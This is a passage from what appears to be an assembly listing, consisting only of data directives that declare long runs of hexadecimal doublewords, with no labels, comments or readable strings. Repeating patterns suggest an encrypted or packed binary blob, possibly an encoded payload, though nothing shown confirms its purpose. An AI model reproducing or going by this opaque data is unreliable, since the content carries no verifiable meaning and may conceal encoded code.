23C205A3h dd 0C7DDD41h, 564AA2C0h, 979A9B46h, 79F805A3h, 3EFA80D0h dd 0EF2C8CA3h, 0E9F805BCh, 0BCC1366Ch, 7BD93196h, 4EB19B83h dd 0BFF805A3h, 72F75A2Ch, 0B681D57Bh, 3C55DF63h, 0F5D6A59Fh dd 7B1EA445h, 80F805A3h, 6C004AC7h, 47196D43h, 0C2CE79DEh dd 3EF8FAFAh, 0BACF05A3h, 564FBC27h, 85953446h, 0A7F9059Eh dd 3EF8B18Bh, 0BD0505A3h, 78727F98h, 24947587h, 3EFD2E72h dd 0E7C3A183h, 667BF242h, 6BD6497Ah, 6300F3E2h, 79E3726Ah dd 57061317h, 0C9EA5A3h, 3EF806F0h, 3EFE78C8h, 0E30A88A3h dd 0CD40F2BAh, 1113939Dh, 0D3AF015Ch, 2A3CE90Dh, 0BDA73D73h dd 0A7EA087Ch, 607B9909h, 6BF805A3h, 9C44794Fh, 3CF40DDFh dd 651A9AF7h, 2C1A7F61h, 1A6C32F7h, 83495F60h, 2AA1B788h dd 3499AF7h, 2C1A314Bh, 3B619E97h, 0A2B15363h, 7E9ACB54h dd 65343A8Ch, 2C014A75h, 3CF721F7h, 651A9AF7h, 2C1A7F10h dd 6DEA71F7h, 2C014BC7h, 1141DFF7h, 0BB052B50h, 0FB4F9316h dd 0D00D486Bh, 0AED6B164h, 6739B1B9h, 2C36AE90h, 69129AF7h dd 28910CBh, 154B734Bh, 2C1A8951h, 74C932F7h, 7B71F9E2h dd 39FDD535h, 787AFBC6h, 2C1A7FB9h, 0D08E1AF7h, 1A6C9F55h dd 83495F60h, 2C1A9C88h, 82129AF7h, 33A837CCh, 0ABE3D148h dd 1B443571h, 6B6C9E76h, 2DF8305Dh, 3B1A9AF7h, 0FF499963h dd 2C1A31A8h, 0AA229F52h, 6739DB69h, 61F86F97h, 2CE62C55h dd 7D7A50B2h, 28910C8h, 5449734Bh, 2C0132F5h, 2C014BC2h dd 693E17F7h, 62051A73h, 4C701538h, 0ADD17396h, 87123793h dd 0BE6565B6h, 2C012EDBh, 0EE4AC8F7h, 167D6C35h, 0ACF9F9A1h dd 1A6C3640h, 83495F60h, 5362878Fh, 6C418361h, 78600794h dd 2C1A7135h, 0AB7A3AF7h, 0AFAF47F6h, 2C029EADh, 0D61A9AF7h dd 5622643Dh, 0FEF54F34h, 0BCFC2929h, 2C1A9B80h, 2C0121C2h dd 28E5F9F7h, 0D74D0796h, 0D185B9EFh, 0BFB832EFh, 0BCF1CB3Ch dd 0F39B8754h, 65355E43h, 2C0127C8h, 45FC3AF7h, 2C1A314Fh dd 2C1D0DC2h, 8F76FCF7h, 0CA96661Eh, 0F83C839h, 0AC75CFD0h dd 29B1F454h, 0FE343A93h, 5E6D3A48h, 7F744E0Ah, 0C5E703EBh dd 0B88C9AF7h, 225985F4h, 1585A7CCh, 8BF9FDD1h, 8C698E6h dd 2761069Eh, 33A837CDh, 7E9B3048h, 651A9AF7h, 2C1915C8h dd 2FF821F7h, 0D51A9AF7h, 3CF40DA7h, 651A9AF7h, 2C1A9B2Eh dd 0AA223FF7h, 6739C071h, 2C34E3C2h, 9C3574F7h, 0A8718127h dd 0A9AB4849h, 83089DB7h, 0A7692E0Dh, 431A9AF6h, 2C1A9B38h dd 0B7F26A82h, 7A6F114Eh, 4269C845h, 19B8DCB8h, 83495F60h dd 2C378688h, 274B9AF7h, 33A837CDh, 0A5B6D148h, 9CE73E7Ch dd 9E123E18h, 0AF9779EAh, 2EF40DADh, 0CC1A9AF7h, 65DA29FBh dd 327085BDh, 0E20519F7h, 881A9AEFh, 44684CB2h, 37CE878Ch dd 0F512069Eh, 2C1A31B2h, 571B86ACh, 5E04E31Eh, 0EE0757A7h dd 3D86C6B5h, 8A469AF7h, 8D42831Bh, 62A30306h, 0DC96D1F0h dd 0EF9D0A46h, 6349F366h, 0F70B9B24h, 50343AA8h, 6C41836Eh dd 78050794h, 431A9AF7h, 68C6878Eh, 33D9A9B2h, 14B5087h dd 4528CA57h, 94F701B9h, 2C1A31A8h, 0DDEA89FAh, 2C1A9BFFh dd 0E36DD046h, 70A6D106h, 0AA22488Dh, 6739DB41h, 2C34B790h dd 149F9AF7h, 341A9AF7h, 0A871AE76h, 17E29BFAh, 0BB592BA7h dd 29B1F347h, 0FE343A93h, 78670520h, 431A9AF7h, 2C1A9B92h dd 0FC95D898h, 2E508BC1h, 225CF1C4h, 0D1D0B21Fh, 8C6978Bh dd 0ABF7069Eh, 2C1A31B5h, 7E9AB832h, 0CC343A8Ch, 163829FBh dd 0DE7D1918h, 2C1A6A56h, 0C617247Dh, 7CAAA9CAh, 44A06771h dd 0A49A0DAAh, 0CC1A315Dh, 2C014CDDh, 0CBB53CF7h, 0FAE778CFh dd 0C36923F9h, 966569BBh, 9DD5D09h, 0A8B06FE3h, 80CEB1A6h dd 48999CC1h, 4522B325h, 0A359391Ch, 7596BB6Ah, 0DEDE643Eh dd 89C62855h, 561BDFA4h, 0C9B06FEDh, 0A8B06FDEh, 0D32E4358h dd 4757A505h, 0A444A69h, 0EECAAEE9h, 4C4FA8A4h, 0CED1271Fh dd 0BA074852h, 0D4B8F813h, 993E0FCAh, 0BAEF20E8h, 0A94D70A5h dd 43B14136h, 5BBE15DFh, 0DE463578h, 0A94D6455h, 0C59EB9AFh dd 0DAB07944h, 967E655Ch, 7E6139AAh, 1A253005h, 6F53D9C3h dd 89C8A8FEh, 0A89B25ADh, 31EFA8AFh, 0A84ED13Eh, 9640A8AFh dd 4B500FB7h, 0BF600B97h dd 0A9B9B3F9h, 17B527AFh, 0A444A69h, 9ACA12E9h, 224FA8AFh dd 219A5703h, 0A1297290h, 20925274h, 66E204FCh, 8A059A2Eh dd 45CFE26Bh, 0B999C885h, 6B3998ABh, 0B5B74555h, 1B3BFA21h dd 364091Ah, 8A716AC4h, 484FA8A4h, 0A8993AB8h, 1132A8AFh dd 99280B13h, 4056FE8h, 0A84FBAE6h, 0A36225F0h, 0CD04A8AFh dd 0A8B06FDEh, 56CFF652h, 0CB99C8F0h, 45C800EAh, 264FA8ACh dd 58B43469h, 0D3C1554Ch, 3AF6CE36h, 0A29C7D56h, 751F0EC2h dd 3A25473Bh, 3783C1A8h, 22ED34F0h, 257BD0Ah, 47AA0DDFh dd 6F53DA00h, 89C8A8FEh, 0A94CDF5Bh, 1F7681AFh, 9AA69B7Dh dd 0B0D46D25h, 7C1C7771h, 0D9203E6Fh, 0C2B895BFh, 0A84FA5FFh dd 152F0BADh, 8BF492EBh, 0D6AABB02h, 4D9066EBh, 0A94CDF4Fh dd 6F9987AFh, 57814E8Ch, 563B1A43h, 30F70910h, 38CF734Ch dd 7C9BB4ABh, 329E34F0h, 0A84FBA22h, 1D4805AFh, 41CE5867h dd 54E4C7B9h, 774FA8ACh, 0A94D62ABh, 15E4D5AFh, 0B780BC28h dd 48EB824Eh, 75B7933Eh, 0D532203Eh, 993E0FCAh, 0A2CAF4E8h dd 87F8A8AFh, 4302EB3Eh, 688CBE22h, 23EC318Ah, 7F4A4BF7h dd 434FA8ACh, 0A94D6871h, 922B09AFh, 5A11A8AFh, 0B8BB63E7h dd 0F6937BE5h, 0E6C87CE9h, 0CE38A37h, 0AA3076A6h, 1D08543Ch dd 5F122C72h, 3317AF03h, 0C7C04A3Dh, 4A9C94C9h, 6D8C15DDh dd 28465DAFh, 0AC104376h, 8BC62067h, 42D6ED93h, 0AD0A89D4h dd 0AF5A7632h, 503BE4C5h, 28F692EFh, 8CC5509Eh, 3A475A5Ch dd 0ACC6235Fh, 8B39EA13h, 0BF74182Fh, 0B7466629h, 0AC101748h dd 8B39EA20h, 0EE304AACh, 0C0EF6A78h, 6C4FA3A6h, 85925A57h dd 2B39EA35h, 8B1F2E4Bh, 2566235Ch, 52BF41A5h, 6C4C561Eh dd 29DDE4DAh, 26C6235Fh, 8B39BE9Ah, 84545A5Ch, 0C3C6235Ch dd 0AA39622Fh, 8CC46EA6h, 41E9BE5Ch, 0FECD6AFh, 1A0A3C5Bh dd 7148AF03h, 7CAFDC9Ah, 27318A1Bh, 0B8BA7392h, 0B91F5704h dd 2BC73F6Dh, 8FE82E15h, 273CA25Ch, 8BC63509h, 0B903805Ch dd 6C4C561Eh, 7D4E55DAh, 18C6235Ch, 562D7CA1h, 4D15DF15h dd 7987B4CCh, 559FA86h, 0D7C0F67Fh, 8C665356h, 8A80CE9Eh dd 0A05696ABh, 2610437Bh, 8CC54FE6h, 2145435Ch, 32E9F9A4h dd 1E08D2F9h, 4B0539D1h, 1E64AC79h, 26D6370Ah, 8CC4F4B5h dd 0CAB23F5Ch, 39895DDh, 0D1780487h, 1E804794h, 255C6B4h dd 15E9878Bh, 95DF324Bh, 8B39EA1Bh, 47B3DC03h, 0B922FDFFh dd 3019F32Ch, 287EE57Fh, 0ACC6235Fh, 8B39EA2Dh, 52D005F3h dd 0CF2BB520h, 0EDEC62ADh, 0D11593CDh, 0D04697ADh, 3E59BD30h dd 0EDCDC59Ah, 3E0AF91Ah, 8CC4E382h, 75A2845Ch, 33F235Ch dd 7044A4h, 7E233D4h, 0D3BFBA4Dh, 74593695h, 0AA8D235Ch dd 8B39EA13h, 4968577Ch, 6D8C15DDh, 8CC4E7A8h, 50E5225Ch dd 6A66078Dh, 10EA7482h, 75A3219Dh, 9B5D235Ch, 770F197Eh dd 6BCE23EFh, 7CAFDC9Ah, 8CC46F1Bh, 7A73235Ch, 0FF91BCC6h dd 15F63409h, 8B11304Bh, 2A38235Ch, 5A30C906h, 7F142E15h dd 0CDBA25Ch, 8B39EA23h, 8BC64403h, 2A97235Ch, 0EDCDC59Ah dd 241AF91Ah, 70C6235Fh, 9D811384h, 0C9360C42h, 83C0B8E7h dd 942FD70Ah, 89BBFB5Dh, 0EE102FB2h, 8B397338h, 86D42F03h dd 2566235Ch, 0A05696C8h, 2610437Bh, 8CC4ACD1h, 7D6D5A5Ch dd 2BC6235Ch, 2846D0CDh, 0FF104376h, 23411352h, 0D1C6235Fh dd 0E28C6926h, 899D00Dh, 62B35EBDh, 914E52B2h, 0B92E4E53h dd 3019ED70h, 8BC64402h, 0FA3E235Ch, 0EDCDC59Ah, 893E251Ah dd 0C3C09E3Dh, 6948B815h, 0ACC6235Ch, 8B39EA32h, 5C2E1951h dd 35678AF4h, 669458DAh, 76981B0Bh, 8ECE6F7Ch, 3EBC235Ch dd 0DA4F8FDEh, 5D8290F1h, 28B65757h, 0B7591892h, 7CB78A39h dd 514F9B1Bh, 6C41230Dh, 86C8A05Eh, 2343235Ch, 3FC6235Fh dd 0A1D30A4Fh, 0F1F51295h, 0E4CA0D39h, 394690ACh, 0CC4F82Bh dd 8BC6234Bh, 7ECB4503h, 0A88D235Ch, 8B39EA79h, 7B01353h dd 5A331A8Fh, 0F0B113ADh, 23472C3Eh, 2B101748h, 58BA8A26h dd 0CBB9330h, 4E489E53h, 9C394BD1h, 29ADAB51h, 3B32F1C6h dd 0D7A0469Ch, 147DE12Eh, 50D10288h, 0BE2D3860h, 0EBBF5CE3h dd 3358C62h, 4FC5678Eh, 3BCDA42Ah, 0C592FA9Ch, 3BCD5F7Fh dd 0AC7BB59Ch, 0C3E969CEh, 2AC777D8h, 719FDA2Eh, 1C7A1B1Eh dd 504C73C1h, 5BE7D585h, 661528CEh, 9FCF1946h, 551A0C4Dh dd 2D1D0DF2h, 3BCDEC51h, 0DB63F8EFh, 674C5F6Fh, 43E619A3h dd 67E1C188h, 54694168h, 3B328093h, 1B07C69Ch, 0D84EDC1Ch dd 1DF73A0Ch, 0EB09E88h, 0A3CDB59Ch, 46A7F4B7h, 0ACBED95Ah dd 5C1A12A6h, 3CA93FCEh, 6494B59Ch, 97E110EDh, 84FBE2A2h dd 716A0E9Dh, 1C7A1B1Eh, 3BE85F92h, 1999B59Ch, 0B5BF2D6h dd 5AB58C51h, 0C6CDB59Ch, 0E5F5070Dh, 23016DC3h, 0F97D061Dh dd 188AE01Dh, 99C405A7h, 3B32E2A4h, 0E425B59Ch, 8FC03036h dd 446A9E99h, 3BE560E7h, 53B0B59Ch, 0AFCDB59Ch, 6352F99Eh dd 0C152B4FDh, 3C152839h, 6D21D7F6h, 0D0326C9Fh, 3BCDEC2Ch dd 0DECAC27Ch, 0C1D5E00Fh, 58ED054Bh, 3EE33669h, 0EB0B59Ch dd 1CCDB59Ch, 0AE525639h, 41612E65h, 10E7D568h, 25DFD460h dd 5B76E431h, 59D5CD2Eh, 2DAD19C1h, 3BCDEC51h, 964F7AD5h dd 0D383FE6h, 1CE5B59Ch, 7836B8C0h, 9C72F60Ah, 98432698h dd 0CCDD2B86h, 0BF48A5BFh, 0B438C32h, 3B338151h, 327CB59Ch dd 0A3D3EF39h, 383C35A5h, 24AEDA9Dh, 0EA8E83Dh, 92661D00h dd 4D05A6C7h, 0A24494CAh, 0ACA13269h, 0D1A19B61h, 0CB14FF69h dd 52A13269h, 6CEDF6F7h, 0D37D67B1h, 60433269h, 7DD64CCh dd 0FA1555F1h, 506BF81Ch, 0F32F04A8h, 0AA24431Eh, 0AA13269h dd 44972237h, 0F82C5A85h, 0BDC80303h, 0E5C7A0A7h, 6621C85Ah dd 4037C389h, 400321D7h, 4D0586E5h, 0E2775007h, 88FDF8ACh dd 0F32A33E3h, 3B7B75C9h, 265CC758h, 0B36CAFC9h, 0AC37BBF1h dd 0A38C0623h, 17B53269h, 0A1601DF8h, 0CE092Bh, 0F1F0B6BCh dd 4EAF250Fh, 4F4456CAh, 0A641E9E2h, 0D0204C31h, 0E89B13E5h dd 0D19A27CEh, 9D243269h, 3EA13269h, 5A5E6698h, 0FF08A37Ah dd 424B4D99h, 83802A7Dh, 4E56C0A7h, 0E2775007h, 0A92001ACh dd 32A13269h, 0D1A132EDh, 55C95A52h, 0D655461Bh, 1D96B680h dd 88FDED8Fh, 0F32A33E3h, 0D1A6FF92h, 351BFA69h, 0DDF26CD5h dd 0B15EEB42h, 6146E630h, 84312E56h, 0D1A1F0DDh, 51F293F8h dd 4F447C2Eh, 0A64170B6h, 0A0EFAFC9h, 45D123Bh, 759526D0h dd 2CE4A7E5h, 0D1A163F2h, 0DA3B3096h, 0CA8283E4h, 8717CC8Bh dd 31A9724Dh, 0AE106F04h, 0D1A6FF3Bh, 368BC069h, 40BE805Ch dd 0C3AAD00Dh, 0B75032D7h, 329B13CCh, 0D1A131B6h, 2A0B944Eh dd 4856EB80h, 1799CB47h, 21805114h, 88FDBFDEh, 0F32A33E3h dd 8431DB42h, 0D1A132D8h, 671AC92Eh, 9EEF7375h, 364F435Fh dd 470F1981h, 20155848h, 0AC9B12B9h, 0D1A6FF2Ch, 0CC2B5D69h dd 84393269h, 855B5CCFh, 7595269Dh, 3E5BA7E5h, 0D1A600E9h dd 2C4EED69h, 2BF48B15h, 0D1A132DBh, 838F57A0h, 84E1E49Fh dd 0A05EC776h, 0DB28BEFBh, 0E27750FEh, 0CA8350ACh, 22935389h dd 8828DA81h, 0F32A33E3h, 0C848F7C9h, 0D1A1F0DDh, 0C12CB5DEh dd 4672A13h, 947AC28Dh, 46BEFDAh, 0D4B71C5Bh, 9E06A769h dd 0D1A13232h, 9416BC69h, 0D015AD08h, 349B13E5h, 0D1A114CEh dd 9D103269h, 0D1A1D864h dd 0AB4F1269h, 7B1B757Dh, 99A94989h, 9EAC63BBh, 0D1A60761h dd 20E31269h, 0D1A1F0C7h, 4E010FC9h, 0E2775007h, 0CCCE67ACh dd 0FA9D3269h, 33FF33FBh, 0EEDFBE96h, 2B3DA7FDh, 9F207D34h dd 329B13D0h, 0D1A132E4h, 0AEE3DD86h, 39E44BA9h, 7307C0CEh dd 7C3D1E61h, 0A6EDD878h, 56F75C9h, 0B3819A54h, 1DE3C28Dh dd 0D1A131B2h, 0D1A6F992h, 0DB1F1369h, 6B4F7DD6h, 8D5DE8D6h dd 0AC8AFB6Dh, 0CC25B27Dh, 0AB243269h, 79A13269h, 8E900723h dd 0C09FB9E8h, 0E68775A3h, 556FE27h, 4BB5759h, 0D8BB1C5Bh dd 1EE3A769h, 0D1A1F016h, 0D1BC7DE4h, 90F43269h, 728D9D2Ch dd 0AE1049ACh, 69CA5943h, 0D31C3211h, 2D4B53B2h, 0D1A6F669h dd 0B2719269h, 0EA52FB51h, 0A0A18499h, 803E442Bh, 0F3CED1F3h dd 0D1A60892h, 0ADFE6369h, 322F7D95h, 38A572DEh, 92661C6Dh dd 5AE3A6C7h, 0D1A6FA87h, 593F1C9h, 0E3CE3A2Bh, 24E3112Bh dd 0D1A1F0C5h, 0D1A114E4h, 4E6D3269h, 4F44F3CAh, 0A641E9D2h dd 0CD485AC9h, 364BFFDEh, 0D015AD11h, 3C9B13E5h, 894EEA6Ah dd 0C06D734Ah, 794D158Dh, 0A629A7E5h, 0BFA13269h, 75F62DC6h dd 88284B34h, 0F32A33E3h, 0D1A121E4h, 0C06D3269h, 57AC28Dh dd 0B9CCF143h, 4F491147h, 0A641E366h, 59981245h, 0DEC1BFEh dd 651C471Ch, 728D9D2Ch, 25CE41ACh, 0D1A132CCh, 0D1A6FB92h dd 0C2CBF669h, 3A9BC4AAh, 311871C1h, 791850E7h, 0A65AD835h dd 42CB2AE2h, 0DC29BB74h, 74A13269h, 0D243E8B4h, 0B466DD75h dd 0F980E6A6h, 0B4286DFDh, 794D1574h, 9F29A7E5h, 9EA13269h dd 8DF2FE0Dh, 10931472h, 0E8472B6Bh, 0E2CFF628h, 66DA50ACh dd 0B8313808h, 0D86F1C5Bh, 51E3A769h, 0D1A132DFh, 0CCCE27E4h dd 0A9243269h, 0F7A13269h, 167C76DEh, 757C9A76h, 1DD881ADh dd 0D4A979D7h, 30DF127Dh, 0D1A60269h, 0DDE61069h, 0B04C7681h dd 0FD11C6BEh, 0C9C70F08h, 6501FDAEh, 728D9D2Ch, 50149ACh dd 0A9EC5743h, 554B081Ch, 0DF4E0E25h, 0AE0F4677h, 0BFE1442Eh dd 0B7503823h, 0B19B13CCh, 0D1A1A1E6h, 0E937A469h, 555871Bh dd 0ECB895EBh, 4C42C044h, 2001FA62h, 0E2CFF628h, 0CCE201ACh dd 55A13269h, 4BF9C274h, 6CED5AF7h, 8878F8B1h, 0F32F04A8h dd 0CC2554ECh, 0F5363269h, 0AA205AC0h, 79F77940h, 6810435Fh dd 18A1B6EBh, 28A9D96Eh, 52175CC8h, 794D158Dh, 0A929A7E5h dd 2EA13269h, 0F1757586h, 7EACA3D0h, 16D00E56h, 0C4183659h dd 9F207D37h, 569B13D0h, 0AA29C274h, 0E4A13269h, 26EDB8A9h dd 6351A077h, 25E56628h, 7261A794h, 4F44E0E8h, 0A641E35Ah dd 0D0204C45h, 3C9B13E5h, 3CA2EA47h, 4D05AD59h, 0E2775007h dd 88FDE4ACh, 0F32A33E3h, 0DBC976E4h, 5013269h, 497A16EBh dd 9B530E0Eh, 0D19ACAE0h, 0FBCABC69h, 7266EC71h, 4F44A3F9h dd 0A641E9CAh, 0DBC9A8C9h, 0BEC23269h, 0B2C03590h, 4F98F5B4h dd 2BCE5878h, 0D1A132E1h, 0D1A19441h, 0A1468869h, 0B7EA75CEh dd 7BA81DF5h, 5AD15F0Ah, 88780E0Ah, 0F32F04A8h, 0DCCE1154h dd 8DA13269h, 479D7861h, 4DA33ABFh, 0D4B2DD68h, 0FCEB1939h dd 317D1622h, 0D01B08F9h, 3A13269h, 7CAB6243h, 1F541B27h dd 4D05743Bh, 0E2775007h, 0CC2B67ACh, 0AED83269h, 8C09256Ah dd 92661C64h, 26E3A6C7h, 0D1A6FA84h, 534AA0C9h, 0BEF4846Fh dd 9B530F13h, 0D1BC27DAh, 4BF43269h, 7198A2F7h, 8878F8B1h dd 0F32F04A8h, 9D6EFE54h, 32A13269h, 0D1A132DEh, 712D7195h dd 0F07D98FCh, 0E3A9A989h, 8431EE3Fh, 0D1A132DAh, 7CFFEB33h dd 0D31456Dh, 2555694h, 4ECECCFCh, 0E2775007h, 9FFD01ACh dd 0ACA13269h, 0D1A19B61h, 0CB1BFF69h, 1EA13269h, 0E2CFF628h dd 9B53F7ACh, 0D1A267BBh, 0B1CB3269h, 8979374Dh, 2A6A28Fh dd 78458B75h, 3D7E4FEDh, 4F490E1Ah, 0A6417002h, 0AB960AC9h dd 0A9FDFE6Dh, 32A13269h, 0D1A132EDh, 2FE21404h, 0C21E5859h dd 28E30AA2h, 0A75C0FBFh, 0D1A60892h, 5E61A369h, 760F3CA4h dd 0F5E1C74Ch, 0A3F6FA7Fh, 4F981269h, 79961275h, 0ACD26CBDh dd 0A38C0623h, 0BF7B3269h, 0B3DC886Ch, 85515FD1h, 7C4AEC8h dd 0E920ED6Bh, 0BF1465Bh, 0BE57787h, 0FE4DFA32h, 0A7A477FCh dd 1157A520h, 0CB766852h, 0F21EEDBAh, 0AF60F32h, 0EE20611Ah dd 0C43987BAh, 2BD1D8E9h, 5B4A3352h, 1B9172DAh, 0BE7C242Dh dd 3A751D51h, 0BF3B439h, 0C2620F32h, 3C49D620h, 8F7FF961h dd 84BDB22h, 0BE9B439h, 72790F32h, 0BF65659h, 106E8D7h dd 0BF1420Ch, 0C8712F32h, 0C8777911h, 11645D8h, 0BF13FCEh dd 19A56232h, 20C60F32h, 0E50E9217h, 41CA8BF2h, 0F2E5DD91h dd 0BF13CE7h, 0BFC6232h, 0AA740F32h, 949E78DFh, 0D4569F5Ah dd 0C5DDD2CCh, 0AC65604h, 119E5B32h, 6CF14792h, 0BF6564Eh dd 0D981F7B4h, 41E3AD9h, 0D2F60F32h, 83B0B7D1h, 4B6BB0ACh dd 3643854Ch, 262F0B0Ch, 0F2F1E242h, 0BF12D93h, 3B1E2F32h dd 9FF60F32h, 175CD4DBh, 3779903Bh, 0FC1DE856h, 75C7A01Fh dd 9113F91Eh, 0ADDE8EB0h, 0B6773F61h, 0F2F6564Fh, 0BF680E5h dd 0BF06232h, 0B6A60F32h, 6B23B184h, 0B9855E3Fh, 3A18D23Eh dd 0A7C5E158h, 0E2D2A318h, 3AA40C36h, 0E207BCADh, 0EE170B73h dd 9F9FD6FFh, 819225E7h, 0F5831B80h, 0C1DA71FAh, 4F774724h dd 0C2D8C975h, 0A87FABB3h, 2F0713CAh, 0AB0713CEh, 23A3DC9Ah dd 0A8CDB3A1h, 3AFA787Ah, 0E2070EAEh, 3377DC21h, 8971C54Ah dd 8DF132D9h, 98AAD293h, 0E204F508h, 0DA9CDC9Ah, 0A507BC9Ah dd 0B25A1F32h, 6D927F9Dh, 0F0F43C14h, 0B976CBD8h, 351DD44h dd 0E204F430h, 59147487h, 0D6898E8Eh, 0F0136784h, 48D74720h dd 98A4C99Eh, 0E207D022h, 0E2FD269Ah, 24A7F4FDh, 0D3E8D7B8h dd 0E0D3EC69h, 8907BC9Ah, 0E207D2F3h, 24A7DC9Ah, 4581FF20h dd 0E2051A69h, 78ABC9Ah, 4ED313EFh, 0D769C10Ch, 57B0C664h dd 0A1FF8BC4h, 0E29C5BA4h, 98A7BC9Ah, 0A39C09B9h, 0D207BC9Ah dd 955BE209h, 0F5E7B3A0h, 0F4E2A317h, 0D1800ED8h, 0E204ED4Fh dd 8B83A79Ah, 0B2CC34D9h, 7905FA3Ch, 85CE7A86h, 351DD6Eh dd 0E204F445h, 41FCCD9Dh, 8431E1ACh, 2DCE7A57h, 0C251DD99h dd 0C9AA67B1h, 0E207BCB0h, 0E884639Ah, 4A0AC77Bh, 0B0C76469h dd 0C15F7886h, 127AAED3h, 0B01EE9D8h, 0A016BC9Ah, 0FEC96E2Ah dd 5D66708Ah, 0C244A61Dh, 890403F2h, 0A832C006h, 0B0CB0F9Ah dd 0DC90BC9Ah, 22356BD4h, 856BD49Bh, 152FA03Fh, 9E8A7627h dd 0E2071360h, 0E2539E07h, 6C84BC9Ah, 0DBE2A889h, 417FABA6h dd 2304F496h, 2F2F30A7h, 0BFA7B386h, 98AA11BAh, 0E204002Eh dd 0E29C0F9Ah, 0D77BC9Ah, 7A61AFFFh, 2E1A981Ah, 970B1B88h dd 6897F2D7h, 0E25850A7h, 0DC82BC9Ah, 9B07BC9Ah, 0C5AEB845h dd 84D55655h, 18237D73h, 5AF0CC78h, 2872AB3Bh, 4F0D93A8h dd 0B0DFEC69h, 2F07BC9Ah, 0D95F7891h, 99CBC9Ah, 0E207137Eh dd 8E42F27Ah, 2F6158C0h, 0FA124A75h, 3BF981Fh, 2537DE01h dd 10074C8Dh, 0E184FBD2h, 2E07BC9Ah, 7C0116FFh, 0B6541C89h dd 48401C89h, 0D4FC8CCFh, 0C1860507h, 0FA1F650h, 1C7147BFh dd 79CDCF26h, 629CADA1h, 0E204F433h, 2E87157Ah, 2B501FC0h dd 0E2071372h, 0B9AA20E7h, 0BF4477B5h, 7C065CFCh, 42CA3DAh dd 0E1135AD1h, 0E658B5F2h, 492A1C97h, 90135AD1h, 0E2534EA6h dd 0E62CBC9Ah, 8B9E4BCAh, 0E20F52A6h, 4D82BC9Ah, 0BD07BC9Ah dd 0B5494000h, 0BE4C539Eh dd 9CD2B9B6h, 5BB918ADh, 11CC0DC1h, 0E20774B0h, 284AC79Ah dd 3912BE8Ch, 0E207BCA2h, 0B0319448h, 0E4B2DECFh, 0B14AE982h dd 5A8A3AB0h, 140295E6h, 96CECFB1h, 215F7E57h, 1BEB899Ch dd 0CC6E3485h, 0ED6E7BAFh, 318AED71h, 68495F85h, 5DC7260Dh dd 44221FC9h, 78203EBFh, 90E798D2h, 29B574B1h, 6B88F8A7h dd 0F581C768h, 291E1B39h, 0E3323D5Eh, 928F78C4h, 0FDA31B18h dd 0E3323D55h, 782040BCh, 0F80322D2h, 0D051A437h, 0DB947375h dd 5D22E081h, 0ED8874C2h, 42BE66A4h, 8E14CBE4h, 785C07D1h dd 7A5E7CD2h, 0F6237CD2h, 0F4C455F9h, 0F3526713h, 0F5A2882Dh dd 8F060BDEh, 0EDCB7CD2h, 78237549h, 0D1715532h, 3756011Eh dd 0F15ED4F6h, 0C023432Bh, 76685E04h, 1AE7AFD2h, 920002B8h dd 488F88A7h, 9366CABCh, 785E64D1h, 0CC5E7CD2h, 80237CD2h dd 0ABD0B3C2h, 0ED48ED48h, 0A889FA2Ah, 0B1F2B75Ah, 67C889D8h dd 3FFD6337h, 362A5CFCh, 7F46A077h, 7820332Bh, 78202D87h dd 0BE67DBD2h, 0B69C8190h, 705AA56Dh, 64D90BC0h, 21BE433Fh dd 8EA231DEh, 0D8237CD2h, 0B1941865h, 0D946B668h, 7EE94A2Bh dd 68DA7CD2h, 0BA690E8Fh, 9ABA6511h, 841E4DE4h, 0F5E18186h dd 599E7D71h, 0F58FFB52h, 0A96C8F6Eh, 1EEFE0A8h, 23A29ACBh dd 13048573h, 37DC1B1Ah, 0AC6E9053h, 1AEFE0A8h, 943E937Ch dd 31E313A8h, 0ABAB8F1Fh, 0F4EFE0A8h, 125AD412h, 44149C40h dd 0AEA5DF4Ch, 125453D8h, 4FAFD440h, 6CEF2C8Ah, 1203AF11h dd 68E3D440h, 712148F4h, 0D09906Ah, 87F36F06h, 12038955h dd 0FEBCD440h, 94A8C84Ch, 1D32061Eh, 0BB210A66h, 36CBD4AFh dd 38AE8D59h, 0C85C122Bh, 125A8D70h, 12585143h, 3F3DD440h dd 4EDE22CEh, 125A8D8Ah, 1256FAEDh, 5CDBD440h, 5BA5F0BBh dd 293E9CBBh, 40BF974Ch, 2082124Ch, 483AD440h, 125AD72Eh dd 4BDA7240h, 2E3DC864h, 0C9400800h, 0D260CF07h, 7496C917h dd 0E825C5B9h, 0F959EA6Ch, 9C986100h, 0D08B956Dh, 0F93AB51Dh dd 76572121h, 12568812h, 40B3D440h, 125B204Ch, 9168D440h dd 31D5D4F6h, 18FB86C1h, 6CEF2940h, 125CAF04h, 2CFFD440h dd 0A9F0AEA2h, 0B3743748h, 0CBFC19B5h, 2D80C56Dh, 14BB4F1Dh dd 125A8D6Ch, 81568CDFh, 898F7166h, 202685Eh, 8B5AD440h dd 8362A221h, 9D8059A4h, 1523D091h, 0E198904Ah, 125B9DEBh dd 94DD4340h, 8D612BECh, 0AAE2C0C2h, 61709A0Bh, 209ED49Fh dd 90DFD440h, 2F371F29h, 0C3B32B23h, 8903CBA0h, 7078BA28h dd 9720F18Ch, 4BAE50A5h, 0F7C2FFD7h, 3DD7C1ECh, 0C06520CEh dd 0C06EB35Eh, 12DFFC77h, 762E7014h, 0B3A7F18Ch, 7620AA46h dd 988CED17h, 0A6A707B5h, 0BC46E466h, 0F82BD13Bh, 0B3A70A5Eh dd 9B311C96h, 4A94702Ah, 0BC388855h, 4A6BC813h, 0CBA08855h dd 9B311CAEh, 7626CCB5h, 0B042F18Ch, 0F428DC03h, 1433505Ch dd 0C251975Bh, 0A19107E4h, 0EA159C2Ah, 8540C584h, 7620F9B9h dd 48DB519h, 84FBC6B9h, 0D095468Ch, 416EB3DBh, 657D0C67h dd 7621BB39h, 65AA078Ch, 11894EA2h, 54DB3A37h, 7FE9D4A6h dd 0E33C088h, 1643D95Bh, 8B92B6D9h, 25CAD604h, 9663308h dd 0EF5D2110h, 0D3C8D9ADh, 0AF085474h, 344AC6D2h, 0D77AB671h dd 91CBAB03h, 8B034E04h, 1863C078h, 49185E40h, 91CAD678h dd 82CD304h, 0F5972220h, 91C68A56h, 0E73ED604h, 11AB9FA3h dd 0FAD3EBA4h, 55D6B3E3h, 91CA8F27h, 0BF1EB529h, 0E75BED5Ah dd 989C0C41h, 0DB408144h, 0F5C457A2h, 43AEDEFCh, 0ED01DD3Eh dd 0F1D54AE1h, 0DF22F2B1h, 0E076D103h, 0FC92B9E4h, 0E3CAD604h dd 9D5D1B54h, 697409AAh, 5B06FEEBh, 1C8B5E00h, 0AED3AEA4h dd 0E5EA80A2h, 0E93EE3Bh, 1643D639h, 